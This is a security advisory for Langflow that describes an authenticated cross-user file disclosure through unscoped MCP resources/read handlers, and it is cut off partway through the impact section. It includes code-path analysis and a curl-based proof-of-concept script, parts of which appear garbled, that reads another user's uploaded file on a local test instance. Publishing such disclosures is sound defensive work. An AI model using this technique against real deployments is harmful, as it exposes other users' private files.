GHSA-4hmc-cfm3-w43c Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers

• PyPI langflow: >= 1.6.8, < 1.9.1 → fixed in 1.9.1

Summary Langflow's project-scoped MCP transport authenticates the caller for the `project_id` in the connection URL, but the subsequent `resources/read` operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership. This is a cross-user authorization bypass (`userA -> userB`) that allows arbitrary read access to files stored under other users' flow namespaces. Details Verified against local checkout: • Repository: `langflow-ai/langflow` • Verified on release tag: `v1.8.3` • Commit: `08bf98404cfd7737fde57a2588785766cdf1b42e` • Earliest stable release known to contain the vulnerable code path: `v1.6.8` Relevant code path: 1. `src/backend/base/langflow/api/v1/mcp_projects.py:147-193` `verify_project_auth_conditional()` authenticates the caller and checks access only to the `project_id` in the MCP transport URL. 2. `src/backend/base/langflow/api/v1/mcp_projects.py:1238-1241` The project-scoped MCP server registers `read_resource()` and forwards the attacker-controlled URI directly to `handle_read_resource(uri=uri)`. 3. `src/backend/base/langflow/api/v1/mcp_utils.py:163-182` `handle_read_resource()` parses the last two URI path segments as `flow_id` and `filename`, then directly calls: ```python storage_service.get_file(flow_id=flow_id, file_name=filename) ``` No check ties the supplied `flow_id` back to the authenticated user or the current project. 4. `src/backend/base/langflow/services/storage/local.py:141-149` `src/backend/base/langflow/services/storage/s3.py:200-217` The storage layer performs a raw namespace read and is not authorization-aware. The result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI. This issue is also easier to exploit because the global MCP helpers expose cross-user discovery data: • `src/backend/base/langflow/api/v1/mcp_utils.py:102-121` `handle_list_resources(project_id=None)` lists files for all flows. • `src/backend/base/langflow/api/v1/mcp_utils.py:333-380` `handle_list_tools(project_id=None)` queries all flows and includes flow IDs in tool metadata. That global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier. PoC Preconditions: • Langflow is running locally with authentication enabled. • Two separate users exist on the same instance. • The victim has a flow with an uploaded file. • The attacker has access to any project they own. Verify the issue locally by starting Langflow with: ```bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow' set -a source .env.verify set +a export LANGFLOW_CONFIG_DIR="$PWD/.langflow-verify" uv run python - /dev/null curl -sS -X POST "$BASE/api/v1/users/" \ -H 'Content-Type: application/json' \ -d "{\"username\":\"$ATTACKER_USER\",\"password\":\"$PASS\"}" >/dev/null export VICTIM_TOKEN=$( curl -sS -X POST "$BASE/api/v1/login" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "username=$VICTIM_USER" \ --data-urlencode "password=$PASS" | jq -r '.access_token' ) export ATTACKER_TOKEN=$( curl -sS -X POST "$BASE/api/v1/login" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "username=$ATTACKER_USER" \ --data-urlencode "password=$PASS" | jq -r '.access_token' ) export VICTIM_PROJECT_ID=$( curl -sS -X POST "$BASE/api/v1/projects/" \ -H "Authorization: Bearer $VICTIM_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"victim-project"}' | jq -r '.id' ) export ATTACKER_PROJECT_ID=$( curl -sS -X POST "$BASE/api/v1/projects/" \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"attacker-project"}' | jq -r '.id' ) export VICTIM_FLOW_ID=$( curl -sS -X POST "$BASE/api/v1/flows/" \ -H "Authorization: Bearer $VICTIM_TOKEN" \ -H 'Content-Type: application/json' \ -d "{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]},\"folder_id\":\"$VICTIM_PROJECT_ID\"}" \ | jq -r '.id' ) printf 'cross-project-read-proof\n' > /tmp/secret.txt export UPLOAD_JSON=$( curl -sS -X POST "$BASE/api/v1/files/upload/$VICTIM_FLOW_ID" \ -H "Authorization: Bearer $VICTIM_TOKEN" \ -F "file=@/tmp/secret.txt" ) export VICTIM_FILE=$( printf '%s' "$UPLOAD_JSON" | jq -r '.file_path | split("/") | last' ) export VICTIM_URI="$BASE/api/v1/files/download/$VICTIM_FLOW_ID/$VICTIM_FILE" export ATTACKER_API_KEY=$( curl -sS -X POST "$BASE/api/v1/api_key/" \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"attacker-mcp-key"}' | jq -r '.api_key' ) export DIRECT_STATUS=$( curl -sS -o /dev/null -w '%{http_code}' \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ "$VICTIM_URI" ) export MCP_READ_OUTPUT=$( uv run python - $DIRECT_STATUS" echo "Project-scoped MCP resources/read -> $MCP_READ_OUTPUT" ``` Expected output: ```text Direct /files/download as attacker -> 404 Project-scoped MCP resources/read -> cross-project-read-proof ``` Observed server logs during verification: ```text GET /api/v1/files/download/... 404 Not Found POST /api/v1/mcp/project//streamable 200 OK POST /api/v1/mcp/project//streamable 202 Accepted POST /api/v1/mcp/project//streamable 200 OK ``` Impact This is an authenticated IDOR / arbitrary file read issue in the MCP layer. Any authenticated Langflow user who can access at least one project-scoped MCP endpoint can read files belonging to other users by supplying a victim file URI to `resources/read`. Practical impact includes: • Cross-user disclosure of uploaded documents, CSV files, JSON files, prompts, and other flow-backed artifacts • Unauth…